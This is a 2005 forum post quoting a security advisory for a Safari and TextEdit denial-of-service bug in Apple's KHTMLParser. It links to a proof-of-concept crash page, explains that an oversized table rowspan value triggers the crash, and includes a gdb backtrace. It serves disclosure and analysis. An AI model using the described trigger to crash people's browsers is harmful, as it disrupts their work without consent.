thrunner Posted December 24, 2005 Share Posted December 24, 2005 This url will crash Safari, but not IE or Firefox: http://www.security-protocols.com/poc/sp-x22.html As OSX becomes more popular, there will be more exploits. Keep this url handy for further developments: http://www.security-protocols.com/ Mac OS X <= 10.4.3 KHTMLParser DoS Release Date: December 21, 2005 Severity: Medium Vendor: Apple Versions Affected: Mac OS X 10.4.3 and prior Safari 2.0.2 (416.13) and prior TextEdit 1.4 (220) and prior Overview: A denial of service vulnerability exists within the KHTMLParser on Apple OS X 10.4.3 and all prior versions which allows for an attacker to cause the application which uses this class to crash the application. Technical Details: When running a specially crafted .html file, the khtml::RenderTableSection::ensureRows inproperly parsers the data and causes the crash. The KTHML parser attempts to resize an internal array to the number of elements indicated by the rowspan value. If the value is very large, it is not possible to resize the array and the application quits. On a default install of Apple OS X, Safari and TextEdit are vulnerable. Below the crash is triggered using Safari on OS X 10.4.3 within gdb: Program received signal SIGABRT, Aborted. 0x9004716c in kill () (gdb) bt #0 0x9004716c in kill () #1 0x90128b98 in abort () #2 0x95dcd974 in khtml::sYSMALLOc () <(=-- Is called because of sYSMALLOc(1234567890) #3 0x95dce1a4 in khtml::main_thread_realloc () #4 0x95bc0d64 in KWQArrayImpl::resize () #5 0x95c05428 in khtml::RenderTableSection::ensureRows () #6 0x95c0784c in khtml::RenderTableSection::addCell () #7 0x95c076ac in khtml::RenderTableRow::addChild () #8 0x95bcb2d8 in DOM::NodeImpl::createRendererIfNeeded () #9 0x95bcb1c4 in DOM::ElementImpl::attach () #10 0x95bca254 in KHTMLParser::insertNode () #11 0x95bcadd8 in KHTMLParser::insertNode () #12 0x95bcadd8 in KHTMLParser::insertNode () #13 0x95bc83fc in KHTMLParser::parseToken () #14 0x95bc54a4 in khtml::HTMLTokenizer::processToken () #15 0x95bc6e08 in khtml::HTMLTokenizer::parseTag () #16 0x95bc4d24 in khtml::HTMLTokenizer::write () #17 0x95bc038c in KHTMLPart::write () #18 0x959b510c in -[WebDataSource(WebPrivate) _commitLoadWithData:] () #19 0x9598165c in -[WebMainResourceClient addData:] () #20 0x95981588 in -[WebBaseResourceHandleDelegate didReceiveData:lengthReceived:] () #21 0x959db930 in -[WebMainResourceClient didReceiveData:lengthReceived:] () #22 0x95981524 in -[WebBaseResourceHandleDelegate connection:didReceiveData:lengthReceived:] () #23 0x92910a64 in -[NSURLConnection(NSURLConnectionInternal) _sendDidReceiveDataCallback] () #24 0x9290ef04 in -[NSURLConnection(NSURLConnectionInternal) _sendCallbacks] () #25 0x9290eca0 in _sendCallbacks () #26 0x9075db20 in __CFRunLoopDoSources0 () #27 0x9075cf98 in __CFRunLoopRun () #28 0x9075ca18 in CFRunLoopRunSpecific () #29 0x931861e0 in RunCurrentEventLoopInMode () #30 0x931857ec in ReceiveNextEventCommon () #31 0x931856e0 in BlockUntilNextEventMatchingListInMode () #32 0x93683904 in _DPSNextEvent () #33 0x936835c8 in -[NSApplication nextEventMatchingMask:untilDate:inMode:dequeue:] () #34 0x00007910 in ??
